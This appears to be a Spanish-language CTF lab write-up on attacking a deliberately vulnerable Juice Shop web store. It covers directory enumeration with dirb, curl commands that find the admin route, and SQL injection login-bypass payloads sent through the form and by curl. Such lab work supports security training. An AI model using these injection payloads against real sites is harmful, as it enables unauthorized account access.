6. Training Hub I: Vulnerabilities Analyst – PD-WRL-007 | Funciones Básicas de Evaluación y Gestión de la Vulnerabilidad | Testing OWASP Vulnerabilities

Resumen

Explora diferentes vulnerabilidades que nos podemos encontrar en una aplicación web insegura.

Para ello contamos con una “Tienda Online” desplegada a la que tendrás que atacar. Utiliza herramientas de enumeración de directorios, herramientas del desarrollador del navegador, conocimientos técnicos y creatividad sobre todo.

¡Empezamos!

Empezando

La web vulnerable a testear se encuentra en el dominio https://challenges.hackrocks.com/owasp.

Si accedemos y clicamos en el menú en “Help Getting Started”, el robot nos dará una serie de pistas, entre ellas consultar el Panel de puntuación (Score Board), que actualmente no es accesible. Podemos visitarlo a  través de la URL pero hemos de descubrir cómo.

A partir de aquí, se te explicará cómo resolver algunos mini retos, para luego seas el que explote la web para conseguir los retos. En este lab se abordan sólo una parte de ellos, pero eres totalmente libre de intentar resolverlos todos.

Habilitando la tabla de puntuación

Para esta prueba inspeccionaremos la página utilizando las herramientas del desarrollador del navegador.

Utiliza el “debugger” y busca en todos los ficheros de código fuente coincidencias con el nombre del componente.

¡A por los datos!

El siguiente paso que trataremos de hacer será realizar una búsqueda de directorios de la aplicación web, para ello podemos usar dirb o gobuster.

Se ejecuta el comando simple de dirb sobre la IP:puerto, y la herramienta se encarga de listar los archivos y directorios (normales y ocultos) que se alojan en la web.

  • abrimos kali
  • nos conectamos
ssh kali@192.168.122.33
  • Ejecutamos
dirb https://ip/url:443
dirb http://ip/url:80

# Ejemplo funcional
dirb https://challenges.hackrocks.com/owasp
  • Empieza a correr
  • Aqui empieza a obtener rutas y archivos existentes
  • aqui va devolver error hay que fijarnos en las paginas con codigos

En busca del panel admin

En esta parte tendrás que resolver el mini reto de conseguir encontrar el panel de administración.

Te dejamos un poco a tu aire, si ves algún mensaje de error 403 (Forbidden) es que estás en el buen camino.

  • Para este reto buscamos el archivo js principal
curl -s https://challenges.hackrocks.com/owasp/ | grep -o 'src="[^"]*main[^"]*"'
  • buscamos la ruta en ese archivo
curl -s "https://challenges.hackrocks.com/owasp/main.js" | grep -o '"administration"'
  • entonces ya podemos construir una url
https://challenges.hackrocks.com/owasp/administration
  • pero la apliación usa Angular

Probando el Login

En el paso anterior descubrimos la ruta del panel de administración pero no pudimos acceder ya que no tenemos usuario con sesión iniciada. 

Tu misión será testear el login sin hacer Registro, es decir, sin estar registrado ni tener que hacerlo, accede al Login, haz algunas pruebas sobre el mismo e intenta responder a las preguntas que se te plantean.

Pregunta 1

  • Y en el campo de email agregamos
' OR 1=1--
  • nos permite ingresar
  • ejecutamos esto nos devuelve un 200 de resultado ok
curl -s -o /dev/null -w "%{http_code}" \
  -X POST https://challenges.hackrocks.com/owasp/rest/user/login \
  -H "Content-Type: application/json" \
  -d '{"email":"'\'' OR 1=1--","password":"test"}'
  • pero si queremos ver el CODIGO DE ERROR como en la pregunta debemos poner una comilla en el campo de email y cualquier cosa en password
  • Y en las herramientas de de desarrollo vemos un error 500, si tocamos en respuesta vemos SQLITE_ERROR y esta es la respuesta

Login Bypass

Como hemos podido ver, acompañado del código de error tenemos la consulta que se ejecuta en el login.

Tu misión consiste en hacer el Login Bypass usando la información. 

  • primero esta es la respuesta completa del paso anterior
error	{ message: 'SQLITE_ERROR: unrecognized token: "2510c39011c5be704182423e3a695e91"', stack: "Error\n at Database.<anonymous> (/juice-shop/node_modules/sequelize/lib/dialects/sqlite/query.js:185:27)\n at /juice-shop/node_modules/sequelize/lib/dialects/sqlite/query.js:183:50\n at new Promise (<anonymous>)\n at Query.run (/juice-shop/node_modules/sequelize/lib/dialects/sqlite/query.js:183:12)\n at /juice-shop/node_modules/sequelize/lib/sequelize.js:315:28\n at process.processTicksAndRejections (node:internal/process/task_queues:104:5)", name: "SequelizeDatabaseError", … }
message	'SQLITE_ERROR: unrecognized token: "2510c39011c5be704182423e3a695e91"'
stack	"Error\n at Database.<anonymous> (/juice-shop/node_modules/sequelize/lib/dialects/sqlite/query.js:185:27)\n at /juice-shop/node_modules/sequelize/lib/dialects/sqlite/query.js:183:50\n at new Promise (<anonymous>)\n at Query.run (/juice-shop/node_modules/sequelize/lib/dialects/sqlite/query.js:183:12)\n at /juice-shop/node_modules/sequelize/lib/sequelize.js:315:28\n at process.processTicksAndRejections (node:internal/process/task_queues:104:5)"
name	"SequelizeDatabaseError"
parent	{ errno: 1, code: "SQLITE_ERROR", sql: "SELECT * FROM Users WHERE email = ''' AND password = '2510c39011c5be704182423e3a695e91' AND deletedAt IS NULL" }
original	{ errno: 1, code: "SQLITE_ERROR", sql: "SELECT * FROM Users WHERE email = ''' AND password = '2510c39011c5be704182423e3a695e91' AND deletedAt IS NULL" }
sql	"SELECT * FROM Users WHERE email = ''' AND password = '2510c39011c5be704182423e3a695e91' AND deletedAt IS NULL"
parameters	{}
  • ahora con base a la respuesta debemos crear una consulta asi
  • original
SELECT * FROM Users WHERE email = ''' AND password = '2510c39011c5be704182423e3a695e91' AND deletedAt IS NULL
  • Ahora si le agregamos
' OR 1=1--
  • quedaria asi
SELECT * FROM Users WHERE email = '' OR 1=1--' AND password = '2510c39011c5be704182423e3a695e91' AND deletedAt IS NULL
  • Asi seria el select que se jecuta
SELECT * FROM Users WHERE email = '' OR 1=1
  • y esto comenta el resto
--' AND password = '2510c39011c5be704182423e3a695e91' AND deletedAt IS NULL
  • po rtanto si hacemos
curl -s \
  -X POST https://challenges.hackrocks.com/owasp/rest/user/login \
  -H "Content-Type: application/json" \
  -d '{"email":"'\'' OR 1=1--","password":"test"}' | python3 -m json.tool
  • nos retorna los usuarios

Accediendo a bender

Teniendo en cuenta la técnica utilizada anteriormente, prueba a iniciar sesión en la cuenta de bender, cuya información la tienes en el panel de administración. Tendrás que echarle imaginación para saltarte la contraseña, pero ahora el email es válido.


Pregunta

¿Qué introduces en el campo de email para poder acceder?

bender@juice-sh.op' --
  • logramos ingresar

Testing XSS

Tras los pasos previos realizados, ya puedes visitar el panel de administración y ver todos los usuarios registrados así como las reseñas.

Si visitas el score-board puedes ver que hay información extra sobre algunos retos. Realiza algún XSS y responde a la pregunta.

Probando reseñas

Te gusta probar cosas así que decides dar una reseña de 0 estrellas e intentar obtener información relevante.